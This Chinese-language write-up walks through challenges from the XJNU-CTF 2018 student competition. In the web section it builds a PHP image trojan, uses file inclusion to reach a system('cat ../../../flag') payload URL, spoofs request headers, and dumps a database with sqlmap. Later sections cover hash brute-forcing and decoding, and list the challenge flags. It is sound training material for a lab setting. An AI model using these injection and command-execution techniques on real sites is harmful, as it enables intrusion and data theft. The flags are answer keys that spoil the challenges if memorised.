XJNU-CTF 2018 writeup v1.0
XJNU CTF writeup v1.0
前幾天學弟說學校舉辦了ctf,由於有一些瞭解,也比較有自己的看法,因此就打算來做一做他們ctf 的題,這是做出來的一部分ctf的題,希望想要入門的朋友能夠借鑑參考,瞭解思路和ctf中的套路。
WEB 100
開啟連線之後是可以上傳檔案
嘗試幾次後發現,只能上傳圖片檔案,而且有一個非常重要的地方就是,看下他的網址是
沒有錯,這是include,那麼就是說可以上傳圖片木馬了。
準備好圖片,準備好木馬new1.php,然後建立一個檔案a.bat,裡面的內容就是cmd,這樣我們可以在本文夾內開啟cmd視窗。
接下來雙擊a.bat,cmd下輸入copy misc100.jpg/b+New1.php new.jpg
然後上傳帶有木馬的new.jpg檔案
這個時候就可以構造payload了
幾次嘗試之後可以得到
http://ctf.xjnu.edu.cn:666/index.php?file=upload/new.jpg&pass=system(%22cat%20../../../flag%22);
Web 20
進去之後是你不屬於這裡。看來ip不對,這個時候需要偽造ip,
用burn suit截獲,新增
出現
把login的內容改掉
又出現
然後在qq瀏覽器,F12選擇移動裝置模式,把裝置換成iPhone X
重新整理,把User-Agent:的內容也改掉
返回了一個空白頁,檢視原始碼,看到一行註釋
於是到burn suit裡面看返回的包,可以找到flag
Web10
進去之後是
很明顯是sqlmap注入,測試一下
果然,於是SQlmap走起
查資料庫版本
py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" --batch
查出是mysql資料庫
查資料庫
py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" --current-db --batch
當前資料庫是web1
查資料表
py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 --tables --batch
可以看到flag表
檢視flag表的列名
py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 -T flag --columns --batch
查詢列的內容,得到flag。
py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 -T flag -C "flag" --dump --batch
Base10
開啟之後
檢視原始碼
所以遮住的數字是。。。圖片旋轉一下,怎麼樣?
歐克。數字是87
取前五位
構造flag
flag{Math_is_Here_c7e12!}
Base20
這個,,,百度上搜一下題目先
嗯。。。。
嗯。。。。
所以
flag{Th0_Jack_Birth_Is_July_16}
Base30
程式設計題。。。這個數值比較大的話,適合python
sum=0
for num in range(0,1000000000):
if num%3==0:
sum+=num
else:
if num%5==0:
sum+=num
print(sum)
233333333166666668
base 40
666c61677b4a7573745f743373745f683476335f66346e5f6861686168615f36363636217d
嗯。。。http://www.bejson.com/convert/ox2str/
flag{Just_t3st_h4v3_f4n_hahaha_6666!}
Base 50
題目:小明常用密碼是hash 是5bc76f3f319865431dcab801bbce47a1 現在 他只知道明文密碼的前四位是xjnu
中間是66****88 後三位是ctf 請幫他算出 明文密碼是啥
flag{明文}
那還是直接跑python指令碼吧
#coding=utf8
from hashlib import md5
from hashlib import sha1
from hashlib import sha224
from hashlib import sha384
from hashlib import sha512
import hashlib
#__all__ = ('md5', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512', 'new', 'algorithms_guaranteed', 'algorithms_available', 'pbkdf2_hmac')
#Python計算字串的hash值
def hashForString(method,srcbyte):
#將字串和漢字轉化成byte型別
srcbyte = srcbyte.encode(encoding='utf-8')
#new(name, data=b'')
#testnew = hashlib.new(method,data=srcbyte).hexdigest()
#print(testnew)
if method == 'md5':
m = md5()
m.update(srcbyte)
srcbyte = m.hexdigest()
elif method == 'sha1':
s = sha1()
s.update(srcbyte)
srcbyte = s.hexdigest()
elif method == 'sha224':
s = sha224()
s.update(srcbyte)
srcbyte = s.hexdigest()
elif method == 'sha384':
s = sha384()
s.update(srcbyte)
srcbyte = s.hexdigest()
elif method == 'sha512':
s = sha512()
s.update(srcbyte)
srcbyte = s.hexdigest()
return srcbyte
CSet='a[email protected]#$%^&*()_-+=/*<>:;\'"[]{}|'
for num1 in CSet:
for num2 in CSet:
for num3 in CSet:
for num4 in CSet:
str1="xjnu66"+str(num1)+str(num2)+str(num3)+str(num4)+"88ctf"
#print(str1)
if(hashForString("md5",str1)=="5bc76f3f319865431dcab801bbce47a1"):
print("xjnu66"+str(num1)+str(num2)+str(num3)+str(num4)+"88ctf")
print(num1)
print("完")
MISC 10
簽到題,關注以後。。。發個私信
Misc 15
開啟之後是
然後用notepad++開啟搜一下flag,嗯。
Misc 20
Binwalk先跑一下
有兩張圖片。那就把5B74之前的內容用winhex刪掉。也可以用foremost
但是我沒有那個東西。
Misc30
老樣子,用notepad++開啟,
亂碼,但是如果換一下編碼的話,
Hi你來到了這裡說明你很想知道答案,但是我這裡只有中文,沒有你想要的答案,參考馬克思主義基本原理概論這本書的第三十五頁第二個字到第五個字的拼音組成就是你想要的答案,騷年加油!
。。。卒
補充:最後這四個字是:去偽存真.在2018版的馬克思主義原理概論這本書裡才有.
Misc40
是一個word文件,裡面是一些內容。
全選,加個背景色
然而並沒有什麼用。
但是。不要慌。
萬能的notepad++
Misc 80
是一個二維碼
掃出來沒有什麼有用的東西。
先用notepad++開啟看一下把
拉到最後是一串數字。數字最大是7,應該是8進位制,
上python指令碼
#coding=utf-8
import chardet
a=b"\146\154\141\147\173\110\141\166\145\137\171\060\125\137\120\171\137\163\143\162\151\160\164\137\117\164\143\137\124\157\137\124\145\156\137\101\163\143\151\151\041\175"
#a = b"\345\260\274\345\217\244\346\213\211\346\226\257\350\265\265\345\233\233"
#判斷當前字串的格式(編碼型別)
fencoding = chardet.detect(a)
print(fencoding)
#編碼型別為打印出來的fencoding編碼型別
a = a.decode('utf-8')
print(a)
flag{Have_y0U_Py_script_Otc_To_Ten_Ascii!}
Re50
是一個入門級別的re,還是很不錯的。
放到IDA裡面,IDA還是強大!
查了一下組合語言,指標的位置,放值
看來,後面的值就是flag
於是16進位制解碼
666c61677b52655F31735F53305F43304F4C7D
flag{Re_1s_S0_C0OL}